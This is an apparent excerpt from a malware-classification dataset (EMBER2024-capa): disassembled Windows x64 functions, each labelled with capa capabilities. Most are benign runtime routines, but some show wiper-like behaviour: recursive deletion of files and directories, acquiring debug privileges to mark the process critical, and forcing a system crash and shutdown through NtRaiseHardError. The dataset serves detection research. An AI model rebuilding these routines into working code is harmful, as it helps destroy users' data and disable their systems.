joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18002f898
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x18002f8ae
mov al, 1
jmp 0x18002f90e
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x18002f8bf
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x18002f90c
mov ecx, dword [rcx + 0x18]
nop
call fcn.1800395c8
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18002f90c
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x18002f90c
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x18002f90c
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x18002f90e
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x18002ff6c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.18001d760
sub rsp, rax
mov rax, qword [0x180056080]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.18002e6ac
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x18002ffbb
mov rax, rbp
jmp 0x1800300c3
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x180000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x58cb0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.180030454
mov r13, rax
lea rax, [0x180000000]
mov rcx, qword [rax + rbx*8 + 0x58cb0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x1800300bf
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1800300bf
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.180030454
test rax, rax
js 0x1800300bf
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x1800300bf
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x1800300b1
lea r8, [0x180000000]
cmp rcx, rdx
jae 0x1800300b1
cmp byte [rcx], 0xd
jne 0x180030097
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x1800300a6
cmp byte [rcx + 1], 0xa
jne 0x1800300a6
inc rcx
jmp 0x1800300a6
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x56460]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x180030079
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x1800300c3
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.18001cdb0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x180030500
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x180058cb0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x180030557
cmp word [rdx], r13w
jne 0x180030557
or byte [rax + rdi*8 + 0x38], cl
jmp 0x18003055c
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x180030681
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x1800306a2
lea r9, [rdx + 2]
cmp cx, r11w
je 0x180030595
mov rdx, r9
mov word [rbx], cx
jmp 0x1800305bc
cmp r9, r8
jae 0x1800305cc
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x180030576
jmp 0x180030681
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180030676
cmp dword [rsp + 0x80], esi
je 0x180030676
lea r8, [0x180058cb0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x18003064e
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x18003061e
mov word [rbx], r13w
jmp 0x18003067e
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x18003062b
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x18003067e
cmp word [rsp + 0x70], r13w
jne 0x18003065b
cmp rbx, r14
je 0x180030618
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.18003045c
cmp word [rsp + 0x70], r13w
je 0x180030681
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x180058cb0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x18003067b
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x180030681
Function at 0x180036290
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1800362c0
xor eax, eax
jmp 0x180036383
mov rbp, rbx
cmp word [rax], si
je 0x1800362e5
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1800362cc
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1800362c8
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1800349dc
movsxd r14, eax
test eax, eax
jne 0x180036323
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1800362b9
mov rcx, r14
call fcn.1800310cc
mov rdi, rax
test rax, rax
jne 0x18003633c
xor ecx, ecx
call fcn.18002d8c0
jmp 0x180036318
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1800349dc
test eax, eax
jne 0x18003636d
mov rcx, rdi
call fcn.18002d8c0
jmp 0x180036377
xor ecx, ecx
call fcn.18002d8c0
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x180038bd4
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.18002bc68
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x180038c75
cmp ebx, dword [rsp + 0x30]
je 0x180038c6e
test esi, esi
je 0x180038c6e
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x180038c49
sub r8w, 0x61
cmp r8w, 0x19
ja 0x180038c56
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x180038c33
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x180038c5a
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x180038c77
mov eax, 1
jmp 0x180038c77
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x18003d2d0
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.18003045c
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.18003045c
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x18003d420
cmp rax, 0xffffffffffffffff
je 0x18003d420
xor edi, edi
test rbp, rbp
jle 0x18003d3cb
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.18002d848
mov rbx, rax
test rax, rax
jne 0x18003d358
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x18003d3c1
mov edx, 0x8000
mov ecx, r14d
call fcn.18003d154
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.18002f498
cmp eax, 0xffffffff
je 0x18003d3a1
cdqe
sub rbp, rax
test rbp, rbp
jg 0x18003d368
mov edx, r15d
mov ecx, r14d
call fcn.18003d154
jmp 0x18003d3c1
cmp byte [rsi + 0x38], dil
je 0x18003d3b8
cmp dword [rsi + 0x34], 5
jne 0x18003d3b8
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x18003d3c1
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.18002d8c0
jmp 0x18003d434
jns 0x18003d434
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.18003045c
cmp rax, 0xffffffffffffffff
jne 0x18003d3ec
cmp byte [rsi + 0x30], dil
je 0x18003d434
mov edi, dword [rsi + 0x2c]
jmp 0x18003d434
mov ecx, r14d
call fcn.1800395c8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x18003d434
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x18003d434
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x18003d42d
mov eax, dword [rsi + 0x2c]
jmp 0x18003d432
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.18003045c
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x140001370
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x6a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x690], rax
mov rbx, rcx
call section..text
mov rax, 0xffffffffffffffff
mov rdx, rax
cmp word [rbx + rdx*2 + 2], 0
lea rdx, [rdx + 1]
jne 0x1400013a1
cmp word [rbx + rdx*2 - 2], 0x5c
je 0x1400013d7
inc rax
cmp word [rbx + rax*2], 0
jne 0x1400013b5
cmp rax, 0x104
jae 0x1400013d7
lea rdx, [0x14001ee4c]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatW]
xor edx, edx
lea rcx, [rsp + 0x480]
mov r8d, 0x208
call fcn.1400157b0
mov rdx, rbx
lea rcx, [rsp + 0x480]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x14001ee50]
lea rcx, [rsp + 0x480]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x480]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001597
mov qword [rsp + 0x6b8], rbp
movabs rbp, 0x8888888888888889
mov qword [rsp + 0x6c0], rsi
movabs rsi, 0x7fffffffffffffff
nop word [rax + rax]
lea rdx, [0x14001ee58]
lea rcx, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x140001568
lea rdx, [0x14001ee5c]
lea rcx, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x140001568
test dword [rsp + 0x20], 0x400
jne 0x140001568
xor edx, edx
lea rcx, [rsp + 0x270]
mov r8d, 0x208
call fcn.1400157b0
mov rdx, rbx
lea rcx, [rsp + 0x270]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [rsp + 0x4c]
lea rcx, [rsp + 0x270]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rax, qword [0x140024ca0]
cmp rax, rsi
jge 0x1400014f1
inc rax
mov qword [0x140024ca0], rax
test byte [rsp + 0x20], 0x10
lea rcx, [rsp + 0x270]
je 0x14000152a
lea rdx, [0x14001ee4c]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rsp + 0x270]
call fcn.140001370
lea rcx, [rsp + 0x270]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x140001568
call section..text
test al, al
je 0x140001568
mov rcx, qword [0x140024ca0]
mov rax, rbp
imul rcx
add rdx, rcx
sar rdx, 3
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xf
cmp rcx, rax
jne 0x140001568
lea rcx, [rsp + 0x270]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140001460
mov rsi, qword [rsp + 0x6c0]
mov rcx, rdi
mov rbp, qword [rsp + 0x6b8]
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rsp + 0x690]
xor rcx, rsp
call fcn.1400067a0
mov rbx, qword [rsp + 0x6c8]
add rsp, 0x6a0
pop rdi
ret
Function at 0x140001690
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
xor esi, esi
lea rbx, [0x14001ef10]
mov edi, esi
nop word [rax + rax]
mov r9, qword [rbx]
lea r8, [0x1400015c0]
mov qword [rsp + 0x28], rsi
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
lea rbx, [rbx + 8]
cmp edi, 0x15
jb 0x1400016b0
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret

Function at 0x140001700
Capabilities:
Acquire debug privileges

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x60
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov edx, 0x20
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.RtlSetProcessIsCritical
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RtlSetThreadIsCritical
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, qword [rsp + 0x30]
lea r8, [rsp + 0x38]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x1400017df
mov rdx, qword [rsp + 0x38]
lea r8, [rsp + 0x40]
mov qword [rsp + 0x44], rdx
mov r9d, 0x10
xor edx, edx
mov qword [rsp + 0x28], 0
mov rcx, rsi
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x4c], 2
mov qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1400017df
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rdi, rdi
je 0x1400017fb
test rbx, rbx
je 0x1400017fb
xor r8d, r8d
xor edx, edx
mov cl, 1
call rdi
xor r8d, r8d
xor edx, edx
mov cl, 1
call rbx
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1400067a0
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret

Function at 0x140001820
Capabilities:
Shutdown system
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x38], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtRaiseHardError
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rsi, rsi
je 0x1400018b0
test rax, rax
je 0x1400018b0
xor r8d, r8d
lea r9, [rsp + 0x30]
lea edx, [r8 + 1]
lea ecx, [rdx + 0x12]
call rsi
lea rax, [rsp + 0x34]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 6
mov ecx, 0xdeaddead
call rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov edx, 0xffffffff
xor ecx, ecx
call qword [sym.imp.USER32.dll_ExitWindowsEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x140001e20
Capabilities:
Generate random numbers via winapi
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x40
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x38], rax
movsxd rbx, ecx
mov eax, 2
mov rcx, 0xffffffffffffffff
lea rdx, [rbx + 1]
mul rdx
cmovo rax, rcx
mov rcx, rax
call fcn.1400067c0
xor r15d, r15d
mov rsi, rax
mov edi, r15d
test rbx, rbx
jle 0x140001edf
mov ebp, 0xff
mov r14d, 0x400
mov rcx, qword [0x140024cb0]
test rcx, rcx
jne 0x140001eb7
lea r9d, [rcx + 1]
mov dword [rsp + 0x20], 0xf0000040
lea rcx, [0x140024cb0]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140001f0d
mov rcx, qword [0x140024cb0]
lea r8, [rsp + 0x30]
mov edx, 4
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
movzx eax, word [rsp + 0x30]
and ax, bp
add ax, r14w
mov word [rsi + rdi*2], ax
inc rdi
cmp rdi, rbx
jl 0x140001e82
mov word [rsi + rbx*2], r15w
mov rax, rsi
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400067a0
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop rdi
ret
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x140007200
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000724a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000724a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000724a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000724a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000724a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000724c
xor al, al
add rsp, 0x28
ret

Function at 0x14000b9dc
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000b7d8
Function at 0x14000eb14
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000eb44
xor eax, eax
jmp 0x14000ec07
mov rbp, rbx
cmp word [rax], si
je 0x14000eb69
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000eb50
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000eb4c
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000ea34
movsxd r14, eax
test eax, eax
jne 0x14000eba7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000eb3d
mov rcx, r14
call fcn.14000f5a8
mov rdi, rax
test rax, rax
jne 0x14000ebc0
xor ecx, ecx
call fcn.14000d06c
jmp 0x14000eb9c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000ea34
test eax, eax
jne 0x14000ebf1
mov rcx, rdi
call fcn.14000d06c
jmp 0x14000ebfb
xor ecx, ecx
call fcn.14000d06c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140014390
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400143b8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400143b8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140236b50
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0x10090
call fcn.14023b3a0
sub rsp, rax
mov rax, qword [0x140282280]
xor rax, rsp
mov qword [rsp + 0x10080], rax
movzx edx, byte [rcx]
lea rbx, [rsp + 0x30]
xor eax, eax
mov rsi, rcx
mov word [rsp + 0x80], ax
mov word [rsp + 0x30], ax
lea edi, [rax + 0x28]
test dl, dl
je 0x140236c12
nop dword [rax + rax]
cmp word [rbx], 0
mov rcx, rdi
mov rax, rbx
je 0x140236bbd
nop dword [rax]
add rax, 2
dec rcx
cmp word [rax], 0
jne 0x140236bb0
cmp rcx, 1
jb 0x140236c6a
mov byte [rsp + 0x20], dl
mov rcx, 0xffffffffffffffff
mov byte [rsp + 0x21], 0
nop word [rax + rax]
cmp word [rax + rcx*2 + 2], 0
lea rcx, [rcx + 1]
jne 0x140236be0
lea rcx, [rax + rcx*2]
mov r8d, 2
lea rdx, [rsp + 0x20]
call fcn.14024a554
movzx edx, byte [rsi + 1]
inc rsi
add rbx, 2
dec rdi
test dl, dl
jne 0x140236ba0
mov r8d, 0x10000
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
dec eax
cmp eax, 0xffff
ja 0x140236c43
lea rcx, [rsp + 0x80]
call fcn.14024d38c
jmp 0x140236c45
xor eax, eax
mov rcx, qword [rsp + 0x10080]
xor rcx, rsp
call fcn.14023b0d0
lea r11, [rsp + 0x10090]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
call fcn.14023f730
int3
Function at 0x14023ac50
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x90
mov rax, qword [0x140282280]
xor rax, rsp
mov qword [rsp + 0x80], rax
xor eax, eax
lea rbx, [rsp + 0x30]
mov rbp, rdx
mov word [rsp + 0x30], ax
movzx edx, byte [rcx]
mov rsi, rcx
lea edi, [rax + 0x28]
test dl, dl
je 0x14023acf5
nop dword [rax]
cmp word [rbx], 0
mov rcx, rdi
mov rax, rbx
je 0x14023acad
nop dword [rax]
add rax, 2
dec rcx
cmp word [rax], 0
jne 0x14023aca0
cmp rcx, 1
jb 0x14023ad26
mov byte [rsp + 0x20], dl
mov rcx, 0xffffffffffffffff
mov byte [rsp + 0x21], 0
cmp word [rax + rcx*2 + 2], 0
lea rcx, [rcx + 1]
jne 0x14023acc3
lea rcx, [rax + rcx*2]
mov r8d, 2
lea rdx, [rsp + 0x20]
call fcn.14024a554
movzx edx, byte [rsi + 1]
inc rsi
add rbx, 2
dec rdi
test dl, dl
jne 0x14023ac90
mov rdx, rbp
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.14023b0d0
mov rbx, qword [rsp + 0xc0]
add rsp, 0x90
pop rdi
pop rsi
pop rbp
ret
call fcn.14023f730
int3